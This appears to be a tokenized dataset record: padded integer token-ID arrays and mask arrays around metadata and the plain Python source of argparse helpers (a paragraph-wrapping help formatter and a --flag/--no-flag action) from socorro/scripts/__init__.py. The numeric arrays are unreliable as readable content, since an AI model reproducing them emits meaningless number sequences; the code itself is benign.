[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 9948, 199, 3, 199, 3, 1898, 9708, 12436, 4200, 699, 580, 15820, 12, 5311, 16625, 22985, 3624, 2412, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 3, 199, 3, 12338, 557, 793, 6365, 11, 7726, 4012, 4303, 78, 279, 199, 3, 199, 199, 646, 984, 199, 646, 2050, 199, 646, 6010, 199, 646, 286, 5736, 12, 299, 3200, 199, 504, 900, 492, 900, 199, 199, 504, 8335, 14, 1025, 492, 2351, 14367, 199, 646, 1402, 199, 199, 504, 1315, 13496, 30204, 793, 14, 15370, 697, 755, 492, 5297, 530, 2846, 199, 504, 15933, 496, 793, 14, 7726, 3515, 492, 437, 41, 919, 793, 14357, 12, 13044, 63, 6351, 199, 199, 504, 1315, 13496, 30204, 793, 14, 15370, 260, 492, 5543, 10188, 199, 504, 1315, 13496, 30204, 793, 14, 2550, 263, 492, 2165, 793, 547, 12, 2165, 793, 13281, 199, 504, 15933, 63, 30136, 279, 463, 492, 437, 41, 43, 27569, 279, 199, 504, 12992, 2537, 7861, 492, 18576, 199, 199, 318, 485, 16571, 63, 2324, 837, 339, 4303, 78, 279, 14, 2014, 63, 578, 63, 3029, 21022, 72, 453, 796, 995, 1255, 63, 3446, 29, 797, 12, 870, 63, 18404, 13236, 29, 797, 9, 421, 199, 4806, 14, 19602, 8, 1896, 29, 4806, 14, 4531, 9, 199, 3, 2050, 14, 19602, 8, 1896, 29, 4806, 14, 5287, 9, 199, 3, 2050, 14, 5572, 360, 14536, 14, 3908, 1959, 13548, 8, 4806, 14, 9171, 9, 199, 199, 30136, 279, 275, 437, 41, 43, 27569, 279, 342, 421, 199, 67, 5736, 14, 1065, 6412, 16571, 63, 2324, 19633, 283, 278, 3200, 358, 199, 199, 80, 275, 299, 3200, 14, 8257, 360, 278, 3200, 358, 199, 3, 299, 14, 1913, 63, 3220, 1252, 3191, 63, 3200, 2801, 17, 680, 1361, 63, 3200, 342, 199, 80, 14, 3191, 63, 3200, 360, 11898, 16813, 1959, 1361, 63, 3200, 8, 709, 9, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 9948, 199, 3, 199, 3, 1898, 9708, 12436, 4200, 699, 580, 15820, 12, 5311, 16625, 22985, 3624, 2412, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 3, 199, 3, 12338, 557, 793, 6365, 11, 7726, 4012, 4303, 78, 279, 199, 3, 199, 199, 646, 984, 199, 646, 2050, 199, 646, 6010, 199, 646, 286, 5736, 12, 299, 3200, 199, 504, 900, 492, 900, 199, 199, 504, 8335, 14, 1025, 492, 2351, 14367, 199, 646, 1402, 199, 199, 504, 1315, 13496, 30204, 793, 14, 15370, 697, 755, 492, 5297, 530, 2846, 199, 504, 15933, 496, 793, 14, 7726, 3515, 492, 437, 41, 919, 793, 14357, 12, 13044, 63, 6351, 199, 199, 504, 1315, 13496, 30204, 793, 14, 15370, 260, 492, 5543, 10188, 199, 504, 1315, 13496, 30204, 793, 14, 2550, 263, 492, 2165, 793, 547, 12, 2165, 793, 13281, 199, 504, 15933, 63, 30136, 279, 463, 492, 437, 41, 43, 27569, 279, 199, 504, 12992, 2537, 7861, 492, 18576, 199, 199, 318, 485, 16571, 63, 2324, 837, 339, 4303, 78, 279, 14, 2014, 63, 578, 63, 3029, 21022, 72, 453, 796, 995, 1255, 63, 3446, 29, 797, 12, 870, 63, 18404, 13236, 29, 797, 9, 421, 199, 4806, 14, 19602, 8, 1896, 29, 4806, 14, 4531, 9, 199, 3, 2050, 14, 19602, 8, 1896, 29, 4806, 14, 5287, 9, 199, 3, 2050, 14, 5572, 360, 14536, 14, 3908, 1959, 13548, 8, 4806, 14, 9171, 9, 199, 199, 30136, 279, 275, 437, 41, 43, 27569, 279, 342, 421, 199, 67, 5736, 14, 1065, 6412, 16571, 63, 2324, 19633, 283, 278, 3200, 358, 199, 199, 80, 275, 299, 3200, 14, 8257, 360, 278, 3200, 358, 199, 3, 299, 14, 1913, 63, 3220, 1252, 3191, 63, 3200, 2801, 17, 680, 1361, 63, 3200, 342, 199, 80, 14, 3191, 63, 3200, 360, 11898, 16813, 1959, 1361, 63, 3200, 8, 709, 9, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Tayamarn/socorro
socorro/scripts/__init__.py
1
2322
import argparse class WrappedTextHelpFormatter(argparse.HelpFormatter): """Subclass that wraps description and epilog text taking paragraphs into account""" def _fill_text(self, text, width, indent): """Wraps text like HelpFormatter, but doesn't squash lines This makes it easier to do lists and paragraphs. """ parts = text.split('\n\n') for i, part in enumerate(parts): # Check to see if it's a bulleted list--if so, then fill each line if part.startswith('* '): subparts = part.split('\n') for j, subpart in enumerate(subparts): subparts[j] = super(WrappedTextHelpFormatter, self)._fill_text( subpart, width, indent ) parts[i] = '\n'.join(subparts) else: parts[i] = super(WrappedTextHelpFormatter, self)._fill_text(part, width, indent) return '\n\n'.join(parts) class FlagAction(argparse.Action): """Facilitates --flag, --no-flag arguments Usage:: parser.add_argument( '--flag', '--no-flag', action=FlagAction, default=True, help='whether to enable flag' ) Which allows you to do:: $ command $ command --flag $ command --no-flag And the help works nicely, too:: $ command --help ... optional arguments: --flag, --no-flag whether to enable flag """ def __init__(self, option_strings, dest, nargs=None, **kwargs): # Validate option strings--we should have a no- option for every option options = [opt.strip('-') for opt in option_strings] yes_options = [opt for opt in options if not opt.startswith('no-')] no_options = [opt[3:] for opt in options if opt.startswith('no-')] if sorted(yes_options) != sorted(no_options): raise ValueError('There should be one --no option for every option value.') super(FlagAction, self).__init__(option_strings, dest, nargs=0, **kwargs) def __call__(self, parser, namespace, values, option_string=None): if option_string.startswith('--no'): value = False else: value = True setattr(namespace, self.dest, value)
mpl-2.0
[ 646, 7534, 421, 199, 533, 20322, 1915, 1872, 22779, 8, 18978, 14, 22779, 304, 272, 408, 23636, 626, 14018, 1369, 436, 29850, 1318, 16466, 26603, 1901, 2933, 624, 339, 347, 485, 4498, 63, 505, 8, 277, 12, 1318, 12, 3462, 12, 4363, 304, 267, 408, 55, 8146, 1318, 2839, 15456, 7772, 12, 1325, 3181, 1133, 12345, 1119, 2385, 398, 961, 7704, 652, 14905, 370, 886, 5548, 436, 26603, 14, 398, 408, 267, 4184, 275, 1318, 14, 1294, 2258, 78, 60, 78, 358, 267, 367, 284, 12, 1777, 315, 3874, 8, 4181, 304, 288, 327, 2670, 370, 1937, 340, 652, 1159, 282, 330, 348, 3496, 769, 306, 692, 880, 12, 2066, 5554, 1924, 1004, 288, 340, 1777, 14, 2460, 18225, 18927, 355, 1007, 4181, 275, 1777, 14, 1294, 2258, 78, 358, 355, 367, 1335, 12, 1007, 2064, 315, 3874, 8, 954, 4181, 304, 490, 1007, 4181, 59, 74, 61, 275, 1613, 8, 15991, 1915, 1872, 22779, 12, 291, 10445, 4498, 63, 505, 8, 717, 1007, 2064, 12, 3462, 12, 4363, 490, 776, 355, 4184, 59, 73, 61, 275, 1557, 78, 1370, 904, 8, 954, 4181, 9, 288, 587, 26, 355, 4184, 59, 73, 61, 275, 1613, 8, 15991, 1915, 1872, 22779, 12, 291, 10445, 4498, 63, 505, 8, 2064, 12, 3462, 12, 4363, 9, 398, 372, 1557, 78, 60, 78, 1370, 904, 8, 4181, 9, 421, 199, 533, 18241, 3310, 8, 18978, 14, 3310, 304, 272, 408, 1906, 559, 1051, 2335, 1553, 4173, 12, 1553, 889, 13, 4173, 2368, 339, 11028, 447, 398, 1798, 14, 525, 63, 2094, 8, 288, 2850, 4173, 297, 2850, 889, 13, 4173, 297, 1595, 29, 5318, 3310, 12, 849, 29, 549, 12, 288, 1720, 534, 87, 3081, 370, 4756, 3305, 7, 267, 776, 2378, 26058, 6127, 1265, 370, 886, 447, 398, 2672, 1414, 267, 2672, 1414, 1553, 4173, 267, 2672, 1414, 1553, 889, 13, 4173, 2378, 6061, 314, 1720, 5419, 14213, 590, 12, 4634, 447, 398, 2672, 1414, 1553, 3437, 267, 2263, 267, 2716, 2368, 26, 1779, 1553, 4173, 12, 1553, 889, 13, 4173, 221, 3775, 370, 4756, 3305, 339, 408, 272, 347, 636, 826, 721, 277, 12, 945, 63, 5465, 12, 2053, 12, 9237, 29, 403, 12, 1011, 958, 304, 267, 327, 12134, 945, 3326, 306, 1129, 1077, 1172, 282, 949, 13, 945, 367, 4036, 945, 267, 1511, 275, 359, 2992, 14, 1913, 21950, 367, 2450, 315, 945, 63, 5465, 61, 398, 9456, 63, 1419, 275, 359, 2992, 367, 2450, 315, 1511, 340, 440, 2450, 14, 2460, 360, 889, 13, 5440, 267, 949, 63, 1419, 275, 359, 2992, 59, 19, 2938, 367, 2450, 315, 1511, 340, 2450, 14, 2460, 360, 889, 13, 5440, 398, 340, 3355, 8, 5066, 63, 1419, 9, 1137, 3355, 8, 889, 63, 1419, 304, 288, 746, 1722, 360, 10924, 1077, 506, 1373, 1553, 889, 945, 367, 4036, 945, 574, 2659, 398, 1613, 8, 5318, 3310, 12, 291, 2843, 826, 721, 1422, 63, 5465, 12, 2053, 12, 9237, 29, 16, 12, 1011, 958, 9, 339, 347, 636, 1250, 721, 277, 12, 1798, 12, 3231, 12, 1338, 12, 945, 63, 875, 29, 403, 304, 267, 340, 945, 63, 875, 14, 2460, 4517, 889, 735, 288, 574, 275, 756, 267, 587, 26, 288, 574, 275, 715, 267, 5371, 8, 3251, 12, 291, 14, 2614, 12, 574, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 7534, 421, 199, 533, 20322, 1915, 1872, 22779, 8, 18978, 14, 22779, 304, 272, 408, 23636, 626, 14018, 1369, 436, 29850, 1318, 16466, 26603, 1901, 2933, 624, 339, 347, 485, 4498, 63, 505, 8, 277, 12, 1318, 12, 3462, 12, 4363, 304, 267, 408, 55, 8146, 1318, 2839, 15456, 7772, 12, 1325, 3181, 1133, 12345, 1119, 2385, 398, 961, 7704, 652, 14905, 370, 886, 5548, 436, 26603, 14, 398, 408, 267, 4184, 275, 1318, 14, 1294, 2258, 78, 60, 78, 358, 267, 367, 284, 12, 1777, 315, 3874, 8, 4181, 304, 288, 327, 2670, 370, 1937, 340, 652, 1159, 282, 330, 348, 3496, 769, 306, 692, 880, 12, 2066, 5554, 1924, 1004, 288, 340, 1777, 14, 2460, 18225, 18927, 355, 1007, 4181, 275, 1777, 14, 1294, 2258, 78, 358, 355, 367, 1335, 12, 1007, 2064, 315, 3874, 8, 954, 4181, 304, 490, 1007, 4181, 59, 74, 61, 275, 1613, 8, 15991, 1915, 1872, 22779, 12, 291, 10445, 4498, 63, 505, 8, 717, 1007, 2064, 12, 3462, 12, 4363, 490, 776, 355, 4184, 59, 73, 61, 275, 1557, 78, 1370, 904, 8, 954, 4181, 9, 288, 587, 26, 355, 4184, 59, 73, 61, 275, 1613, 8, 15991, 1915, 1872, 22779, 12, 291, 10445, 4498, 63, 505, 8, 2064, 12, 3462, 12, 4363, 9, 398, 372, 1557, 78, 60, 78, 1370, 904, 8, 4181, 9, 421, 199, 533, 18241, 3310, 8, 18978, 14, 3310, 304, 272, 408, 1906, 559, 1051, 2335, 1553, 4173, 12, 1553, 889, 13, 4173, 2368, 339, 11028, 447, 398, 1798, 14, 525, 63, 2094, 8, 288, 2850, 4173, 297, 2850, 889, 13, 4173, 297, 1595, 29, 5318, 3310, 12, 849, 29, 549, 12, 288, 1720, 534, 87, 3081, 370, 4756, 3305, 7, 267, 776, 2378, 26058, 6127, 1265, 370, 886, 447, 398, 2672, 1414, 267, 2672, 1414, 1553, 4173, 267, 2672, 1414, 1553, 889, 13, 4173, 2378, 6061, 314, 1720, 5419, 14213, 590, 12, 4634, 447, 398, 2672, 1414, 1553, 3437, 267, 2263, 267, 2716, 2368, 26, 1779, 1553, 4173, 12, 1553, 889, 13, 4173, 221, 3775, 370, 4756, 3305, 339, 408, 272, 347, 636, 826, 721, 277, 12, 945, 63, 5465, 12, 2053, 12, 9237, 29, 403, 12, 1011, 958, 304, 267, 327, 12134, 945, 3326, 306, 1129, 1077, 1172, 282, 949, 13, 945, 367, 4036, 945, 267, 1511, 275, 359, 2992, 14, 1913, 21950, 367, 2450, 315, 945, 63, 5465, 61, 398, 9456, 63, 1419, 275, 359, 2992, 367, 2450, 315, 1511, 340, 440, 2450, 14, 2460, 360, 889, 13, 5440, 267, 949, 63, 1419, 275, 359, 2992, 59, 19, 2938, 367, 2450, 315, 1511, 340, 2450, 14, 2460, 360, 889, 13, 5440, 398, 340, 3355, 8, 5066, 63, 1419, 9, 1137, 3355, 8, 889, 63, 1419, 304, 288, 746, 1722, 360, 10924, 1077, 506, 1373, 1553, 889, 945, 367, 4036, 945, 574, 2659, 398, 1613, 8, 5318, 3310, 12, 291, 2843, 826, 721, 1422, 63, 5465, 12, 2053, 12, 9237, 29, 16, 12, 1011, 958, 9, 339, 347, 636, 1250, 721, 277, 12, 1798, 12, 3231, 12, 1338, 12, 945, 63, 875, 29, 403, 304, 267, 340, 945, 63, 875, 14, 2460, 4517, 889, 735, 288, 574, 275, 756, 267, 587, 26, 